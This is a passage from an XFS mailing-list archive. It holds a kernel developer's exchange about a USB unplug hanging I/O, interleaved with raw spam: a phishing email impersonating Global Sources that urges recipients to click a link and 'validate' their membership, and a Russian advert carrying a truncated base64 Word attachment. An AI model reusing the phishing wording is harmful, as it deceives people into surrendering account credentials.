and gone down the device removal/invalidate partition route. and it's trying to flush the device, which is stuck on IO completion which is stuck waiting for the device error handling to error them out. So, this is a block device problem error handling problem caused by device unplug getting stuck because it's decided to ask the filesystem to complete operations that can't be completed until the device error handling progress far enough to error out the IOs that the filesystem is waiting for completion on. Cheers, Dave. -- Dave Chinner david@fromorbit.com From info@gs.mobi Wed Mar 5 18:32:05 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.4 required=5.0 tests=HTML_MESSAGE, MSGID_FROM_MTA_HEADER,T_REMOTE_IMAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0C9BD7F3F for ; Wed, 5 Mar 2014 18:32:05 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 73F76AC009 for ; Wed, 5 Mar 2014 16:32:01 -0800 (PST) X-ASG-Debug-ID: 1394065917-04cb6c56752c1550001-NocioJ Received: from mailrelay005.isp.belgacom.be (mailrelay005.isp.belgacom.be [195.238.6.171]) by cuda.sgi.com with ESMTP id 5i2nK9HYZAVREv7T for ; Wed, 05 Mar 2014 16:31:57 -0800 (PST) X-Barracuda-Envelope-From: info@gs.mobi X-Barracuda-Apparent-Source-IP: 195.238.6.171 Message-Id: <073a06$p8bvtg@relay.skynet.be> X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArcPAFLBF1Nbt33c/2dsb2JhbAANRgYBgkJ/SwEBqBWBRwKBFg4BlhaBL4NnQD4CLkITCYdWHwiTFZoJgSGCQIEnnF2MU4EYEQEIBhZaAQmBfQ9AgTsEiROGBxiKPZFBgmZUQQFRAgcaAw Received: from 220.125-183-91.adsl-static.isp.belgacom.be (HELO [10.0.0.101]) ([91.183.125.220]) by relay.skynet.be with ESMTP; 06 Mar 2014 01:31:54 +0100 Content-Type: multipart/alternative; boundary="===============1939016040==" MIME-Version: 1.0 Subject: Important: Validate your Global Sources Membership. To: Recipients X-ASG-Orig-Subj: Important: Validate your Global Sources Membership. From: "Global Sources" Date: Thu, 06 Mar 2014 01:31:49 +0100 X-Barracuda-Connect: mailrelay005.isp.belgacom.be[195.238.6.171] X-Barracuda-Start-Time: 1394065917 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.50 X-Barracuda-Spam-Status: No, SCORE=2.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA_TO_FROM_ADDR_MATCH, BSF_SC7_SA578_CH, HTML_MESSAGE, MSGID_FROM_MTA_HEADER, MSGID_FROM_MTA_HEADER_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3638 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 MSGID_FROM_MTA_HEADER Message-Id was added by a relay 1.50 MSGID_FROM_MTA_HEADER_2 Message-Id was added by a relay 0.50 BSF_SC0_SA_TO_FROM_ADDR_MATCH Sender Address Matches Recipient Address 0.50 BSF_SC7_SA578_CH Custom Rule SA578_CH You will not see this in a MIME-aware mail reader. --===============1939016040== Content-Type: text/plain; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body = = = = = Important Email Verification. = = = = = = Dear Valued Member, = Your Global Sources Membership needs to be validated due to the new upgrad= e on our system security server which has been upgraded to protect your mem= ber information. = Due to this you are required to kindly click on the link below to validate= your Global Sources Membership. = CLICK HERE TO VALIDATE NOW. = Failure to validate your Global Sources Membership will be suspended by Gl= obal Sources service team. Thank you for choosing Global Sources. = Thank you. = The Global Sources Team service@globalsources.com = = = = = = = For enquiries, please contact: Customer Services, 1 Sims L= ane #08-01, Singapore 387355; phone: (65) 6547-2800; fax: (65) 6547-2888; e= -mail:service@globalsources.com = = = = = = = Copyright =A9 2014 Trade Media Holdings Ltd. Copyright =A9 2014 Trade Me= dia Ltd. All rights reserved. = =20 --===============1939016040== Content-Type: text/html; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body
Important Email Verification.
Dear Valued = Member,

Your Global Sources Membership needs to be = validated due to the new upgrade on our system = security server which has been upgraded to = protect your member information.

Due to this you are required to kindly click on = the link below to validate your Global Sources = Membership.

CLICK HERE T= O = VALIDATE NOW.

Failure to validate your Global Sources = Membership will be suspended by Global Sources = service team. Thank you for choosing Global = Sources.

Thank you.

The Global Sources Team
service@globalsources.com
 
3D""
3D"Reliable For enquiries, please contact: Customer = Services, 1 Sims Lane #08-01, Singapore 387355; = phone: (65) 6547-2800; fax: (65) 6547-2888; e-mail:service@globalsources.com 3D"The
Copyright =A9 2014 Trade Media Holding= s = Ltd. Copyright =A9 2014 Trade Media Ltd. All = rights reserved.
--===============1939016040==-- From austin@peloton-tech.com Wed Mar 5 18:53:11 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 89A4E7F50 for ; Wed, 5 Mar 2014 18:53:11 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7283A304066 for ; Wed, 5 Mar 2014 16:53:08 -0800 (PST) X-ASG-Debug-ID: 1394067187-04cbb054b6d0870001-NocioJ Received: from mail-ig0-f171.google.com (mail-ig0-f171.google.com [209.85.213.171]) by cuda.sgi.com with ESMTP id 7bGBI1BkkvFpLMxI (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 05 Mar 2014 16:53:07 -0800 (PST) X-Barracuda-Envelope-From: austin@peloton-tech.com X-Barracuda-Apparent-Source-IP: 209.85.213.171 Received: by mail-ig0-f171.google.com with SMTP id hl1so12426717igb.4 for ; Wed, 05 Mar 2014 16:53:07 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=hMWHlvaMDsgKbxbx42UDKJ0z8qOr6xmSWPGNfPDdm6A=; b=Zk8SrJOa6VLy2ro/vRWUA7wnyP1/2d4vHoZKek26NL+vhMAfn1gNqlsA7sWTHztblf NTIaEpAAfAj1Jl09XR/AOddj20KTwJ1WLVuWAhtHWsp3ZWcc+lfcmOFyNJXUFjuHAgls 6MJGZ1fC+yWBm9NGLvIov7tacsE8tMvreS3qfhpYkdqyHa+OTqlnrW177gcSYuCK2x/w wag+hsWONvjYfIc0FHDvd3BF0LBBKbx08YlEI9Cqh0tOQIDgaumjHTXBZeA3TDVbsxzo pJU1lraiLFumQDbA0NScIt2F0I3qPs1e3Zp5WiDZ6M7SHs+UJZBIZf1irKosyTVCroK2 YteA== X-Gm-Message-State: ALoCoQn4zEo5CoF1bxWG2IpSxTwDkIE7wVO3bYk/lLHAfpOnvK0fq6EcGruVs4PHLIdOhc8+Jigt MIME-Version: 1.0 X-Received: by 10.42.135.65 with SMTP id o1mr7638624ict.46.1394067186923; Wed, 05 Mar 2014 16:53:06 -0800 (PST) Received: by 10.64.223.167 with HTTP; Wed, 5 Mar 2014 16:53:06 -0800 (PST) In-Reply-To: <20140305233551.GK6851@dastard> References: <20140305233551.GK6851@dastard> Date: Wed, 5 Mar 2014 16:53:06 -0800 Message-ID: Subject: Re: XFS crash? From: Austin Schuh X-ASG-Orig-Subj: Re: XFS crash? To: Dave Chinner Cc: xfs Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-ig0-f171.google.com[209.85.213.171] X-Barracuda-Start-Time: 1394067187 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3638 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Dave, On Wed, Mar 5, 2014 at 3:35 PM, Dave Chinner wrote: > On Wed, Mar 05, 2014 at 03:08:16PM -0800, Austin Schuh wrote: >> Howdy, >> >> I'm running a config_preempt_rt patched version of the 3.10.11 kernel, >> and I'm seeing a couple lockups and crashes which I think are related >> to XFS. > > I think they ar emore likely related to RT issues.... > That very well may be true. > Your usb device has disconnected and gone down the device > removal/invalidate partition route. and it's trying to flush the > device, which is stuck on IO completion which is stuck waiting for > the device error handling to error them out. > > So, this is a block device problem error handling problem caused by > device unplug getting stuck because it's decided to ask the > filesystem to complete operations that can't be completed until the > device error handling progress far enough to error out the IOs that > the filesystem is waiting for completion on. > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com I unplugged the USB device _after_ the rest of the system started locking up to see if that might unstick things. Austin From foodtechno@sagecomp.com Wed Mar 5 19:19:27 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 167F87F50 for ; Wed, 5 Mar 2014 19:19:27 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id F05CE304070 for ; Wed, 5 Mar 2014 17:19:23 -0800 (PST) X-ASG-Debug-ID: 1394068761-04cb6c56772c37a0001-NocioJ Received: from mail.mymeteor.ie (mail.mymeteor.ie [212.129.64.9]) by cuda.sgi.com with ESMTP id HdKojnqzozUBtQWi for ; Wed, 05 Mar 2014 17:19:21 -0800 (PST) X-Barracuda-Envelope-From: foodtechno@sagecomp.com X-Barracuda-Apparent-Source-IP: 212.129.64.9 Received: from Unknown (85.158.178.17) by mail.mymeteor.ie (7.3.006) (authenticated as sullyrower@mymeteor.ie) id 524ECDA304328C18; Thu, 6 Mar 2014 01:19:13 +0000 Message-ID: <510F083BEF0A465595F47083F22EBEF1@jdapllg> Reply-To: =?windows-1251?B?0eHu8CDk7uvj7uI=?= From: =?windows-1251?B?0eHu8CDk7uvj7uI=?= To: , , , Subject: =?windows-1251?B?8/e48iDo8erg?= Date: Thu, 6 Mar 2014 02:19:39 +0100 X-ASG-Orig-Subj: =?windows-1251?B?8/e48iDo8erg?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_1750_01CF38E2.8717C500" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Mail 6.0.6001.18416 X-MimeOLE: Produced By Microsoft MimeOLE V6.0.6001.18645 X-Barracuda-Connect: mail.mymeteor.ie[212.129.64.9] X-Barracuda-Start-Time: 1394068761 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3638 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. ------=_NextPart_000_1750_01CF38E2.8717C500 Content-Type: multipart/alternative; boundary="----=_NextPart_001_1751_01CF38E2.8717C500" ------=_NextPart_001_1751_01CF38E2.8717C500 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =C2=ED=E8=EC=E0=ED=E8=FE =EA=EE=F0=EF=EE=F0=E0=F2=E8=E2=ED=EE=E3=EE =FE=F0= =E8=F1=F2=E0! =C7=ED=E0=E5=F2=E5 =EB=E8 =E2=FB, =EA=E0=EA =EE=F2=F1=F2=EE=FF=F2=FC =E4=E5= =EB=EE =E2 =F1=F3=E4=E5 =E8 =ED=E5 =E4=EE=EF=F3=F1=F2=E8=F2=FC =F4=E8=ED=E0= =ED=F1=EE=E2=FB=F5 =EF=EE=F2=E5=F0=FC, =F1=E2=FF=E7=E0=ED=ED=FB=F5 =F1 =E4= =EE=E3=EE=E2=EE=F0=ED=EE=E9 =F0=E0=E1=EE=F2=EE=E9? =C2=E0=F1 =ED=E5 =EF=F3= =E3=E0=E5=F2 =E2=EE=E7=EC=EE=E6=ED=EE=F1=F2=FC =F3=F7=E0=F1=F2=E8=FF =E2 = =E0=F0=E1=E8=F2=F0=E0=E6=ED=EE=EC =EF=F0=EE=F6=E5=F1=F1=E5? =C3=EE=F2=EE=E2= =FB =EA =F1=EF=EE=F0=F3? =CF=F0=E0=EA=F2=E8=F7=E5=F1=EA=E8=E9 =EA=F3=F0=F1 =EE=E1=F3=F7=E5=ED=E8=FF= =EF=EE =E4=EE=E3=EE=E2=EE=F0=ED=EE=E9 =E8 =E8=F1=EA=EE=E2=EE=E9 =F0=E0=E1= =EE=F2=E5, =F1=E2=FF=E7=E0=ED=ED=FB=E9 =F1 =EF=EE=E4=E3=EE=F2=EE=E2=EA=EE= =E9 =E4=EE=E3=EE=E2=EE=F0=EE=E2, =E7=E0=F9=E8=F2=E5 =E8=ED=F2=E5=F0=E5=F1= =EE=E2 =E2 =F1=F3=E4=E5 =EF=EE =E8=EC=F3=F9=E5=F1=F2=E2=E5=ED=ED=FB=EC =E8= =E8=ED=FB=EC =E3=F0=E0=E6=E4=E0=ED=F1=EA=E8=EC =F1=EF=EE=F0=E0=EC =EC=E5= =E6=E4=F3 =F5=EE=E7=FF=E9=F1=F2=E2=F3=FE=F9=E8=EC=E8 =F1=F3=E1=FA=E5=EA=F2= =E0=EC=E8. =D2=E5=EC=FB: - =EF=E5=F0=E2=E8=F7=ED=FB=E5 =E4=EE=EA=F3=EC=E5=ED=F2=FB, =ED=E5=EE=E1=F5= =EE=E4=E8=EC=FB=E5 =E8 =E4=EE=F1=F2=E0=F2=EE=F7=ED=FB=E5 =E4=EB=FF =F1=F3= =E4=E0; - =F3=F1=EB=EE=E2=ED=FB=E5 =F1=E4=E5=EB=EA=E8; =EF=F0=EE=F2=EE=EA=EE=EB=FB= =F0=E0=E7=ED=EE=E3=EB=E0=F1=E8=E9; =EF=EE=E4=F2=E2=E5=F0=E6=E4=E5=ED=E8=E5= =EF=EE=EB=ED=EE=EC=EE=F7=E8=E9; - =EF=EE=E4=E3=EE=F2=EE=E2=EA=E0 =EA =F1=F3=E4=E5=E1=ED=EE=EC=F3 =E7=E0=F1= =E5=E4=E0=ED=E8=FE: =F1=EF=EE=F1=EE=E1=FB =E1=EE=F0=FC=E1=FB =F1 =E7=E0=F2= =FF=E3=E8=E2=E0=ED=E8=E5=EC =EF=F0=EE=F6=E5=F1=F1=E0 - =E2=E7=FB=F1=EA=E0=ED=E8=E5 =ED=E5=F3=F1=F2=EE=E9=EA=E8 =E8 =EF=F0=EE=F6= =E5=ED=F2=EE=E2; =EE=E1=F0=E0=F9=E5=ED=E8=E5 =E2=E7=FB=F1=EA=E0=ED=E8=E5 = =ED=E0 =E8=EC=F3=F9=E5=F1=F2=E2=EE; - =EE=F4=EE=F0=EC=EB=E5=ED=E8=E5 =E7=E0=EB=EE=E3=E0; =EF=F0=E0=E2=EE =ED=E0= =E8=E7=FA=FF=F2=E8=E5 =E7=E0=EB=EE=E3=E0; - =EF=F0=E0=E2=E8=EB=E0 =EF=F0=E0=E2=E8=EB=FC=ED=EE=E3=EE =F1=EE=F1=F2=E0= =E2=EB=E5=ED=E8=FF =EF=F0=E5=F2=E5=ED=E7=E8=E9; =E4=EE=EA=E0=E7=E0=F2=E5=EB= =FC=F1=F2=E2=E0 - =FE=F0=E8=E4=E8=F7=E5=F1=EA=E0=FF =EF=F0=EE=E2=E5=F0=EA=E0 =EA=EE=ED=F2= =F0=E0=E3=E5=ED=F2=EE=E2; - =EE=F4=EE=F0=EC=EB=E5=ED=E8=E5 =E4=EE=E3=EE=E2=EE=F0=EE=E2 =E1=E5=E7 =EE= =F8=E8=E1=EE=EA: =F1=F3=F9=E5=F1=F2=E2=E5=ED=ED=FB=E5 =F3=F1=EB=EE=E2=E8=FF= , =E4=E5=EB=EE=EF=F0=EE=E8=E7=E2=EE=E4=F1=F2=E2=EE, =E4=EE=EF=EE=EB=ED=E5= =ED=E8=FF =E8 =EF=F0=E8=EB=EE=E6=E5=ED=E8=FF; =C4=E0=F2=E0 =EF=F0=EE=E2=E5=E4=E5=ED=E8=FF: I7-l8 =EC=E0=F0=F2=E0, =E3=EE= =F0. =D1.-=CF=E5=F2=E5=F0=E1=F3=F0=E3 =D3=F1=EB=EE=E2=E8=FF =F3=F7=E0=F1=F2=E8=FF, =E7=E0=EF=E8=F1=FC =ED=E0 =EC= =E5=F0=EE=EF=F0=E8=FF=F2=E8=E5(=E0 =F2=E0=EA=E6=E5 =EF=EE=EB=ED=FB=E9 =F1= =EF=E8=F1=EE=EA =F2=E5=EC =E8 =F2.=E4.) : +7 [ 8I2 ] 9_8=F7 = =3D 5=C7 .. 63 =20 ------=_NextPart_001_1751_01CF38E2.8717C500 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
=C2=ED=E8=EC=E0=ED=E8=FE =EA=EE=F0=EF=EE=F0=E0=F2=E8=E2=ED=EE=E3= =EE =FE=F0=E8=F1=F2=E0!
 
=C7=ED=E0=E5=F2=E5 =EB=E8 =E2=FB, =EA=E0=EA =EE=F2=F1=F2=EE=FF=F2=FC= =E4=E5=EB=EE =E2 =F1=F3=E4=E5 =E8 =ED=E5 =E4=EE=EF=F3=F1=F2=E8=F2=FC =F4= =E8=ED=E0=ED=F1=EE=E2=FB=F5 =EF=EE=F2=E5=F0=FC,=20 =F1=E2=FF=E7=E0=ED=ED=FB=F5 =F1 =E4=EE=E3=EE=E2=EE=F0=ED=EE=E9 =F0=E0=E1=EE= =F2=EE=E9? =C2=E0=F1 =ED=E5 =EF=F3=E3=E0=E5=F2 =E2=EE=E7=EC=EE=E6=ED=EE=F1= =F2=FC =F3=F7=E0=F1=F2=E8=FF =E2 =E0=F0=E1=E8=F2=F0=E0=E6=ED=EE=EC=20 =EF=F0=EE=F6=E5=F1=F1=E5? =C3=EE=F2=EE=E2=FB =EA =F1=EF=EE=F0=F3?
 
=CF=F0=E0=EA=F2=E8=F7=E5=F1=EA=E8=E9 =EA=F3=F0=F1 =EE=E1=F3=F7=E5=ED= =E8=FF =EF=EE =E4=EE=E3=EE=E2=EE=F0=ED=EE=E9 =E8 =E8=F1=EA=EE=E2=EE=E9 =F0= =E0=E1=EE=F2=E5, =F1=E2=FF=E7=E0=ED=ED=FB=E9 =F1=20 =EF=EE=E4=E3=EE=F2=EE=E2=EA=EE=E9 =E4=EE=E3=EE=E2=EE=F0=EE=E2, =E7=E0=F9=E8= =F2=E5 =E8=ED=F2=E5=F0=E5=F1=EE=E2 =E2 =F1=F3=E4=E5 =EF=EE =E8=EC=F3=F9=E5= =F1=F2=E2=E5=ED=ED=FB=EC =E8 =E8=ED=FB=EC=20 =E3=F0=E0=E6=E4=E0=ED=F1=EA=E8=EC =F1=EF=EE=F0=E0=EC =EC=E5=E6=E4=F3 =F5=EE= =E7=FF=E9=F1=F2=E2=F3=FE=F9=E8=EC=E8 =F1=F3=E1=FA=E5=EA=F2=E0=EC=E8.
 
=D2=E5=EC=FB:
 
- =EF=E5=F0=E2=E8=F7=ED=FB=E5 =E4=EE=EA=F3=EC=E5=ED=F2=FB, =ED=E5=EE= =E1=F5=EE=E4=E8=EC=FB=E5 =E8 =E4=EE=F1=F2=E0=F2=EE=F7=ED=FB=E5 =E4=EB=FF = =F1=F3=E4=E0;
- =F3=F1=EB=EE=E2=ED=FB=E5 =F1=E4=E5=EB=EA=E8; =EF=F0=EE=F2=EE=EA=EE= =EB=FB =F0=E0=E7=ED=EE=E3=EB=E0=F1=E8=E9; =EF=EE=E4=F2=E2=E5=F0=E6=E4=E5=ED= =E8=E5 =EF=EE=EB=ED=EE=EC=EE=F7=E8=E9;
- =EF=EE=E4=E3=EE=F2=EE=E2=EA=E0 =EA =F1=F3=E4=E5=E1=ED=EE=EC=F3 =E7= =E0=F1=E5=E4=E0=ED=E8=FE: =F1=EF=EE=F1=EE=E1=FB =E1=EE=F0=FC=E1=FB =F1 =E7= =E0=F2=FF=E3=E8=E2=E0=ED=E8=E5=EC=20 =EF=F0=EE=F6=E5=F1=F1=E0
- =E2=E7=FB=F1=EA=E0=ED=E8=E5 =ED=E5=F3=F1=F2=EE=E9=EA=E8 =E8 =EF=F0= =EE=F6=E5=ED=F2=EE=E2; =EE=E1=F0=E0=F9=E5=ED=E8=E5 =E2=E7=FB=F1=EA=E0=ED=E8= =E5 =ED=E0 =E8=EC=F3=F9=E5=F1=F2=E2=EE;
- =EE=F4=EE=F0=EC=EB=E5=ED=E8=E5 =E7=E0=EB=EE=E3=E0; =EF=F0=E0=E2=EE= =ED=E0 =E8=E7=FA=FF=F2=E8=E5 =E7=E0=EB=EE=E3=E0;
- =EF=F0=E0=E2=E8=EB=E0 =EF=F0=E0=E2=E8=EB=FC=ED=EE=E3=EE =F1=EE=F1=F2= =E0=E2=EB=E5=ED=E8=FF =EF=F0=E5=F2=E5=ED=E7=E8=E9; =E4=EE=EA=E0=E7=E0=F2=E5= =EB=FC=F1=F2=E2=E0
- =FE=F0=E8=E4=E8=F7=E5=F1=EA=E0=FF =EF=F0=EE=E2=E5=F0=EA=E0 =EA=EE=ED= =F2=F0=E0=E3=E5=ED=F2=EE=E2;
- =EE=F4=EE=F0=EC=EB=E5=ED=E8=E5 =E4=EE=E3=EE=E2=EE=F0=EE=E2 =E1=E5=E7= =EE=F8=E8=E1=EE=EA: =F1=F3=F9=E5=F1=F2=E2=E5=ED=ED=FB=E5 =F3=F1=EB=EE=E2= =E8=FF, =E4=E5=EB=EE=EF=F0=EE=E8=E7=E2=EE=E4=F1=F2=E2=EE,=20 =E4=EE=EF=EE=EB=ED=E5=ED=E8=FF =E8
=EF=F0=E8=EB=EE=E6=E5=ED=E8=FF;
 
=C4=E0=F2=E0 =EF=F0=EE=E2=E5=E4=E5=ED=E8=FF: I7-l8 =EC=E0=F0=F2=E0, = =E3=EE=F0.=20 =D1.-=CF=E5=F2=E5=F0=E1=F3=F0=E3
 
=D3=F1=EB=EE=E2=E8=FF =F3=F7=E0=F1=F2=E8=FF, =E7=E0=EF=E8=F1=FC =ED=E0= =EC=E5=F0=EE=EF=F0=E8=FF=F2=E8=E5(=E0 =F2=E0=EA=E6=E5 =EF=EE=EB=ED=FB=E9= =F1=EF=E8=F1=EE=EA =F2=E5=EC =E8=20 =F2.=E4.) : +7 [ 8I2 ] 9_8=F7 =3D 5=C7 .. 63 <= /DIV> ------=_NextPart_001_1751_01CF38E2.8717C500-- ------=_NextPart_000_1750_01CF38E2.8717C500 Content-Type: application/msword; name="progr_13-14.doc" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="progr_13-14.doc" 0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAARgAAAAAAAAAA EAAASAAAAAEAAAD+////AAAAAEUAAAD///////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////s pcEAX8AZBAAA8BK/AAAAAAAAEAAAAAAACAAAVEQAAA4AYmpiagAVABUAAAAAAAAAAAAAAAAAAAAA AAAZBBYALkoAAGJ/AABifwAA7hsAAAAAAAA2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//w8AAAAA AAAAAAD//w8AAAAAAAAAAAD//w8AAAAAAAAAAAAAAAAAAAAAALcAAAAAAIIHAAAAAAAAggcAAPsU AAAAAAAA+xQAAAAAAAD7FAAAAAAAAPsUAAAAAAAA+xQAABQAAAAAAAAAAAAAAP////8AAAAADxUA AAAAAAAPFQAAAAAAAA8VAAA4AAAARxUAABQAAABbFQAAFAAAAA8VAAAAAAAAgxgAAKIBAABvFQAA AAAAAG8VAAAAAAAAbxUAAAAAAABvFQAAAAAAAG8VAAAAAAAAXhYAAAAAAABeFgAAAAAAAF4WAAAA AAAA9hcAAAIAAAD4FwAAAAAAAPgXAAAAAAAA+BcAAAAAAAD4FwAAAAAAAPgXAAAAAAAA+BcAACQA AAAlGgAAsgIAANccAAA+AAAAHBgAACEAAAAAAAAAAAAAAAAAAAAAAAAA+xQAAAAAAABeFgAAAAAA AAAAAAAAAAAAAAAAAAAAAABeFgAAAAAAAF4WAAAAAAAAXhYAAAAAAABeFgAAAAAAABwYAAAAAAAA AAAAAAAAAAD7FAAAAAAAAPsUAAAAAAAAbxUAAAAAAAAAAAAAAAAAAG8VAADvAAAAPRgAABYAAACK FwAAAAAAAIoXAAAAAAAAihcAAAAAAABeFgAAdgAAAPsUAAAAAAAAbxUAAAAAAAD7FAAAAAAAAG8V AAAAAAAA9hcAAAAAAAAAAAAAAAAAAIoXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAXhYAAAAAAAD2FwAAAAAAAAAAAAAAAAAAihcAAAAAAAAAAAAA AAAAAIoXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAihcAAAAAAABvFQAAAAAAAP////8AAAAAoBKGFp04 zwEAAAAAAAAAAP////8AAAAA1BYAAF4AAACKFwAAAAAAAAAAAAAAAAAA4hcAABQAAABTGAAAMAAA AIMYAAAAAAAAihcAAAAAAAAVHQAAAAAAADIXAABYAAAAFR0AAAAAAACKFwAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAABUdAAAAAAAAAAAAAAAAAAD7FAAAAAAAAIoXAABYAAAAXhYAAAAAAABeFgAAAAAAAIoX AAAAAAAAXhYAAAAAAABeFgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXhYA AAAAAABeFgAAAAAAAF4WAAAAAAAAHBgAAAAAAAAcGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAihcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF4WAAAA AAAAXhYAAAAAAABeFgAAAAAAAIMYAAAAAAAAXhYAAAAAAABeFgAAAAAAAF4WAAAAAAAAXhYAAAAA AAAAAAAAAAAAAP////8AAAAA/////wAAAAD/////AAAAAAAAAAAAAAAA/////wAAAAD/////AAAA AP////8AAAAA/////wAAAAD/////AAAAAP////8AAAAA/////wAAAAD/////AAAAAP////8AAAAA /////wAAAAD/////AAAAAP////8AAAAA/////wAAAAD/////AAAAABUdAAAAAAAAXhYAAAAAAABe FgAAAAAAAF4WAAAAAAAAXhYAAAAAAABeFgAAAAAAAF4WAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABeFgAAAAAAAF4WAAAAAAAAXhYA AAAAAACCBwAAPwwAAMETAAA6AQAABQASAQAAGQQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACEEMAQ8 